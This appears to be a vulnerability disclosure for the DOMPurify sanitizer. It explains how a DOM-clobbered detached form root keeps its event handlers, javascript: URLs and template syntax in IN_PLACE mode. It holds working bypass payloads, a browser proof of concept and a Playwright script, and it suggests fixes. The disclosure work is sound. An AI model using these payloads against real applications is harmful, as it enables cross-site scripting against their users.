Vulnerability details

Code paths

[A] — _forceRemove at src/purify.ts:930-939:

const _forceRemove = function (node: Node): void {
  arrayPush(DOMPurify.removed, { element: node });
  try {
    // eslint-disable-next-line unicorn/prefer-dom-node-remove
    getParentNode(node).removeChild(node);   // [A1] throws when getParentNode returns null
  } catch (_) {
    remove(node);                             // [A2] WebIDL Node.remove() — spec-defined no-op
  }                                           //      when the node has no parent
};

When the iterator-root has no parent (the standard IN_PLACE case where the caller hands in a detached node), getParentNode(node) returns null, null.removeChild(node) throws, the catch falls to remove(node) — which per WebIDL is Element.prototype.remove.call(node), and per spec does nothing if the node has no parent. Nothing about _forceRemove's contract acknowledges this — the function appears to its callers as "the node is gone now," but the node is still in place.

[B] — _sanitizeAttributes at src/purify.ts:1490-1492:

const _sanitizeAttributes = function (currentNode: Element): void {
  _executeHooks(hooks.beforeSanitizeAttributes, currentNode, null);

  const { attributes } = currentNode;

  /* Check if we have attributes; if not we might have a text node */
  if (!attributes || _isClobbered(currentNode)) {
    return;                                   // [B] silently skips ALL attribute checks
  }                                           //     for clobbered nodes
  ...
};

The skip at [B] is deliberate — the intent is to avoid touching nodes the library has already decided to discard. The invariant the comment implies is "if _isClobbered, then _sanitizeElements already removed this node, so we will never reach _sanitizeAttributes on it." That invariant holds for every non-root node (their _forceRemove succeeds in detaching them), but fails for the iterator root in IN_PLACE mode.

The mismatch is between [A] and [B]: [A] assumes "removal" means the node will not be observed again, and [B] assumes any clobbered node it sees has already been removed. Neither holds for the iterator root. A correct guard would either make _forceRemove fail loudly on parent-less nodes (so the caller can bail out of IN_PLACE entirely) or have _sanitizeAttributes strip attributes from clobbered roots before returning.

Iterator call site

src/purify.ts:1850-1864 ignores the boolean return value of _sanitizeElements:

const nodeIterator = _createNodeIterator(IN_PLACE ? dirty : body);

while ((currentNode = nodeIterator.nextNode())) {
  _sanitizeElements(currentNode);       // returns `true` if killed — IGNORED
  _sanitizeAttributes(currentNode);     // runs unconditionally; relies on [B]'s skip
  ...
}

If the return value were checked and _sanitizeAttributes skipped when the node was "killed," the bug would not exist as a discrete issue — but currently _sanitizeAttributes is the only line of defense for a node that _sanitizeElements could not actually detach.

Why the clobber works

In Chromium/WebKit/Firefox, HTMLFormElement carries the WebIDL [LegacyOverrideBuiltIns] extended attribute on its named-property getter. A descendant element with name="X" (or id="X", for radio-button-like names) shadows the matching property on the form, including properties inherited from Element, Node, and EventTarget prototypes. This is the same primitive the just-landed 89da34e fix addresses for shadow-root traversal, but _isClobbered's typeof checks (and the bypass-by-detection-failure path here) are independent of that fix.

Verified clobber targets (each name= value independently triggers _isClobbered):

Any single one of the ten property names in _isClobbered's checklist is sufficient as the bypass trigger.

Proof of concept

(1) Minimal — runnable in a single browser context

<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
  const root = document.createElement('form');
  root.setAttribute('onmouseover', 'window.__rooted = 1');
  const clobber = document.createElement('input');
  clobber.setAttribute('name', 'nodeName');
  root.appendChild(clobber);

  // typeof root.nodeName === 'object' (an <INPUT> element), not 'string'.
  // _isClobbered fires; _forceRemove(root) becomes a no-op because root.parentNode === null.
  DOMPurify.sanitize(root, { IN_PLACE: true });

  console.log('output:', root.outerHTML);
  // <form onmouseover="window.__rooted = 1"><input name="nodeName"></form>
  //  ^^^^^^^^^^^^^^^^^^ event handler survived ^^^^^^^^^^^^^^^^^^

  document.body.appendChild(root);
  root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));
  console.log('handler fired:', window.__rooted === 1);  // true
</script>
</body></html>

(2) End-to-end — Playwright against main HEAD

const { chromium } = require('playwright');
const path = require('path');

(async () => {
  const browser = await chromium.launch();
  const page = await browser.newPage();
  await page.setContent('<!doctype html><html><body></body></html>');
  await page.addScriptTag({ path: path.resolve('dist/purify.js') });

  const result = await page.evaluate(() => {
    const root = document.createElement('form');
    root.setAttribute('onmouseover', 'window.__rooted = 1');
    const clobber = document.createElement('input');
    clobber.setAttribute('name', 'nodeName');
    root.appendChild(clobber);

    DOMPurify.sanitize(root, { IN_PLACE: true });

    document.body.appendChild(root);
    window.__rooted = 0;
    root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));

    return {
      version: DOMPurify.version,
      output: root.outerHTML,
      handlerFired: window.__rooted === 1,
    };
  });
  console.log(result);
  await browser.close();
})();

Observed (Chromium 148.0.7778.96, DOMPurify 3.4.5, HEAD 89da34e):

{
  version: '3.4.5',
  output: '<form onmouseover="window.__rooted = 1"><input name="nodeName"></form>',
  handlerFired: true
}

(3) Variant matrix — six distinct clobber-target properties

Every property name in _isClobbered's typeof checklist works as the bypass trigger:

[BYPASS] name="nodeName"      → <form onmouseover="…"><input></form>
[BYPASS] name="setAttribute"  → <form onmouseover="…"><input></form>
[BYPASS] name="namespaceURI"  → <form onmouseover="…"><input></form>
[BYPASS] name="insertBefore"  → <form onmouseover="…"><input></form>
[BYPASS] name="hasChildNodes" → <form onmouseover="…"><input></form>
[BYPASS] name="childNodes"    → <form onmouseover="…"><input></form>

This makes the fix less of a one-line patch — every property _isClobbered checks for the typeof-spoofing pattern needs to be considered.

Impact

Direct

Two distinct impact paths from the same root-attribute-survival primitive:

(a) XSS via event-handler attribute on the surviving root. Any consumer that uses DOMPurify.sanitize(node, { IN_PLACE: true }) where node originated from untrusted HTML and is re-inserted into the live document is vulnerable to XSS. The typical pattern is:

const t = document.createElement('template');
t.innerHTML = untrustedHtml;
DOMPurify.sanitize(t.content.firstElementChild, { IN_PLACE: true });
container.appendChild(t.content.firstElementChild);

If untrustedHtml is <form onmouseover=…><input name=nodeName>…</form>, the resulting node has the onmouseover attribute intact when re-inserted into the live document.

(b) Every attribute-level defense is bypassed on the surviving root, not just event handlers. The _sanitizeAttributes early-return at :1490 skips the entire attribute walk for clobbered nodes, so the root preserves attributes that the attribute walk would otherwise sanitize. Verified additional attributes that survive:

• action="javascript:..." and formaction="javascript:..." — URI validation at :1413 never runs. A user click on a submit button inside the sanitized form navigates to the javascript: URL, executing the handler. Adds a click-triggered XSS path on top of the mouseover/focus event-handler attributes already documented.
• id="<colliding-name>" — the DOM-clobbering guard at :1352-1359 (SANITIZE_DOM && (lcName === 'id' || lcName === 'name') && (value in document || value in formElement)) lives inside _sanitizeAttributes and is skipped. An attacker can therefore land id="cookie", id="body", id="head", id="firstChild", etc. on the surviving form root and use it as a DOM-clobbering primitive against any consumer code that does document.cookie, document.body, etc.
• target="_top", autofocus, formenctype, formmethod — all survive untouched.
• Custom event handlers DOMPurify wouldn't have explicit list entries for (e.g., newly-spec'd oncontentvisibilityautostatechange) survive on the clobbered root via the same skip; the per-name allow-list at :1361-1364 never runs.

Verified — full attribute set survives on a single payload (PoC):

const root = document.createElement('form');
root.setAttribute('action', 'javascript:alert(1)');
root.setAttribute('target', '_top');
root.setAttribute('onclick', 'alert(2)');
root.setAttribute('onmouseover', 'alert(3)');
root.setAttribute('autofocus', '');
root.setAttribute('formaction', 'javascript:alert(4)');
root.setAttribute('id', 'cookie');           // DOM-clobbering primitive
root.innerHTML += '<input name="nodeName">';
DOMPurify.sanitize(root, { IN_PLACE: true });
console.log(root.outerHTML);
// <form action="javascript:alert(1)" target="_top" onclick="alert(2)"
//       onmouseover="alert(3)" autofocus="" formaction="javascript:alert(4)"
//       id="cookie"><input></form>

(c) Defense-in-depth re-sanitization on the same node is INEFFECTIVE — the clobber is sticky. Chromium's HTMLFormElement named-property cache appears to retain the named child reference even after the child's name attribute is removed during the sanitization pass. Empirically verified — after the first sanitize pass, the input's name="nodeName" attribute is correctly stripped (the output shows <input> with no attributes), yet typeof form.nodeName === 'object' is still true and the input element is still returned. Calling DOMPurify.sanitize(sameNode, { IN_PLACE: true }) a second time hits the same _isClobbered → _forceRemove → _sanitizeAttributes early-return path. The only effective recovery is serialize-then-reparse:

const root = parseAttackerHtml();                                     // form with input name="nodeName" child
DOMPurify.sanitize(root, { IN_PLACE: true });                         // bypass: attrs survive
DOMPurify.sanitize(root, { IN_PLACE: true });                         // STILL bypassed: attrs survive
const recovered = (() => {
  const t = document.createElement('template');
  t.innerHTML = root.outerHTML;                                       // forces a fresh parse
  const r = t.content.firstElementChild;
  DOMPurify.sanitize(r, { IN_PLACE: true });
  return r;
})();
// recovered.outerHTML === '<form><input></form>'  ← finally clean

A "belt-and-suspenders" caller that re-runs DOMPurify on its own output is therefore not protected against this primitive on Chromium; the obvious mitigation pattern fails silently. Any user-side workaround needs to route through a string round-trip.

(d) SAFE_FOR_TEMPLATES bypass for the root's attributes. When the caller sets SAFE_FOR_TEMPLATES: true to defend a downstream template engine (Vue, Angular, Liquid, Handlebars, …) from receiving {{…}} / <%…%> / ${…} syntax through DOMPurify's output, attribute-level template-syntax stripping runs in the same _sanitizeAttributes pass that early-returns on clobbered roots (:1572-1576). The root's attributes therefore retain raw template syntax that the downstream engine then evaluates.

Verified — same PoC structure, with SAFE_FOR_TEMPLATES: true:

const root = document.createElement('form');
root.setAttribute('title', '{{evil}}');
root.setAttribute('onmouseover', 'window.__x=1');
const c = document.createElement('input');
c.setAttribute('name', 'nodeName');
root.appendChild(c);

DOMPurify.sanitize(root, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });

console.log(root.outerHTML);
// <form title="{{evil}}" onmouseover="window.__x=1"><input></form>
//        ^^^^^^^^^^^^^^^^ template syntax survives

This compounds with (a): a single payload exfiltrates via XSS (immediate) and via SSTI to downstream renderers (delayed).

(Text-node content inside the form is still scrubbed correctly — _scrubTemplateExpressions at :1868-1870 walks text/comment/CDATA/PI nodes independently and reaches them via the iterator. Only attribute values on the clobbered root escape.)

Indirect / second-order

• DOM-based template systems / editors that wrap DOMPurify with an IN_PLACE call for parsed user content (CMSes, comment widgets, WYSIWYG editors persisting structured HTML).
• Email/HTML preview libraries that pre-parse received HTML before sanitization for performance reasons.
• Frameworks that hand DOMPurify a node tree rather than a string — including, indirectly, any code path that does el.innerHTML = …; DOMPurify.sanitize(el, { IN_PLACE: true }). The outer el is fine (it's not the form), but if the first child of el is taken as the sanitization root in a different code path, the bypass triggers.

Why current main is also vulnerable

Commit 89da34e ("fix: fixed a possible DOM clobbering with IN_PLACE and shadow DOM") hardens _sanitizeAttachedShadowRoots via three new cached prototype getters (getShadowRoot, getNodeName, getNodeType) and an _isClobbered extension that checks element.childNodes.length. The fix is correct for its scope — shadow-root traversal — but does not change _forceRemove's parent-less-node behavior or _sanitizeAttributes's clobber-skip early-return. The bypass demonstrated here is in the IN_PLACE main pipeline, not the shadow-root walk, and the verification PoC above runs against HEAD 89da34e and still succeeds.

Suggested fix

Two minimal-risk options:

1. Make _forceRemove honest about failure: return whether the node was actually detached, and have the iterator call site honor that.

   const _forceRemove = function (node: Node): boolean {
     arrayPush(DOMPurify.removed, { element: node });
     try {
       getParentNode(node).removeChild(node);
       return true;
     } catch (_) {
       try { remove(node); } catch (_) {}
       return node.parentNode === null && /* but still attached to itself */ false;
     }
   };
   

   Then at :1855, if _sanitizeElements returns true AND IN_PLACE, force-strip all attributes of the root before returning the dirty tree. (This is what the user expects — sanitization either succeeds or refuses to return a "sanitized" handle to an unsanitized tree.)

2. Strip attributes inside _sanitizeAttributes for clobbered roots: when _isClobbered(currentNode) is true at :1490, instead of early-returning, iterate currentNode.attributes (using the cached getAttributes if you add one) and remove each via removeAttribute. This preserves the existing semantics for non-root clobbered nodes (their attributes-of-a-removed-node will be GC'd anyway) and removes the attack surface for root.

3. Refuse IN_PLACE on parent-less clobbered roots: at the top of the iterator, check that the root either has a parent OR is not _isClobbered. If both fail, throw. This is the most defensive option but breaks any existing caller that hands in a clobbered detached root expecting "sanitized = empty/safe."

Note on callable elements

In Chromium and WebKit, HTMLEmbedElement, HTMLAppletElement, HTMLIFrameElement, and HTMLScriptElement have typeof === 'function' because they expose plugin/iframe [[Call]] traps at the WebIDL level. A name="setAttribute" child of one of these tags spoofs the setAttribute typeof === 'function' check — but only matters for the attribute re-set path at :1619, not the bypass demonstrated here (which uses nodeName and friends). The callable-element vector is worth checking separately as a potential SAFE_FOR_TEMPLATES-bypass primitive; the present report does not depend on it.